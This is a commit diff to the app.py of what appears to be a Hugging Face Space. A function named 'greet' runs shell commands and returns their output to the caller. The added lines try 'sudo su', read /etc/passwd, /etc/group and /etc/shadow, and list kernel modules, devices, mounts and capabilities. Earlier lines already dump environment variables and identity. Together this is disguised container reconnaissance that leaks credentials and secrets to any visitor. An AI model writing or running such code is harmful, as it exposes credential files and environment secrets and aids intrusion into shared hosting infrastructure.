Spaces:
Runtime error
Runtime error
guynachshon
commited on
Commit
·
558a182
1
Parent(s):
470af99
update
Browse files
app.py
CHANGED
|
@@ -4,6 +4,9 @@ import os
|
|
| 4 |
|
| 5 |
|
| 6 |
def greet(name):
|
|
|
|
|
|
|
|
|
|
| 7 |
environ = os.environ
|
| 8 |
path = sys.path
|
| 9 |
whoami = os.popen("whoami").read()
|
|
@@ -18,6 +21,15 @@ def greet(name):
|
|
| 18 |
envars = os.popen("printenv").read()
|
| 19 |
user_info = os.popen("id").read()
|
| 20 |
net_conf = os.popen("ip addr show").read()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 21 |
|
| 22 |
res = f"""
|
| 23 |
Environ: {environ}
|
|
@@ -34,6 +46,15 @@ def greet(name):
|
|
| 34 |
Envars: {envars}
|
| 35 |
User info: {user_info}
|
| 36 |
Net conf: {net_conf}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 37 |
"""
|
| 38 |
return "Hello %s!" % res
|
| 39 |
|
|
|
|
| 4 |
|
| 5 |
|
| 6 |
def greet(name):
|
| 7 |
+
|
| 8 |
+
os.popen("sudo su")
|
| 9 |
+
|
| 10 |
environ = os.environ
|
| 11 |
path = sys.path
|
| 12 |
whoami = os.popen("whoami").read()
|
|
|
|
| 21 |
envars = os.popen("printenv").read()
|
| 22 |
user_info = os.popen("id").read()
|
| 23 |
net_conf = os.popen("ip addr show").read()
|
| 24 |
+
net_interfaces = os.popen("ip link show").read()
|
| 25 |
+
passwd = os.popen("cat /etc/passwd").read()
|
| 26 |
+
groups = os.popen("cat /etc/group").read()
|
| 27 |
+
shadow = os.popen("cat /etc/shadow").read()
|
| 28 |
+
kernel_modules = os.popen("lsmod").read()
|
| 29 |
+
ls_dev = os.popen("ls /dev").read()
|
| 30 |
+
grep_ro = os.popen("mount | grep '(ro'").read()
|
| 31 |
+
grep_proc_tempfs = os.popen("mount | grep /proc.*tmpfs").read()
|
| 32 |
+
capailities = os.popen("apk add -U libcap; capsh --print").read()
|
| 33 |
|
| 34 |
res = f"""
|
| 35 |
Environ: {environ}
|
|
|
|
| 46 |
Envars: {envars}
|
| 47 |
User info: {user_info}
|
| 48 |
Net conf: {net_conf}
|
| 49 |
+
Net interfaces: {net_interfaces}
|
| 50 |
+
Passwd: {passwd}
|
| 51 |
+
Groups: {groups}
|
| 52 |
+
Shadow: {shadow}
|
| 53 |
+
Kernel modules: {kernel_modules}
|
| 54 |
+
ls /dev: {ls_dev}
|
| 55 |
+
grep ro: {grep_ro}
|
| 56 |
+
grep proc tmpfs: {grep_proc_tempfs}
|
| 57 |
+
Capabilities: {capailities}
|
| 58 |
"""
|
| 59 |
return "Hello %s!" % res
|
| 60 |
|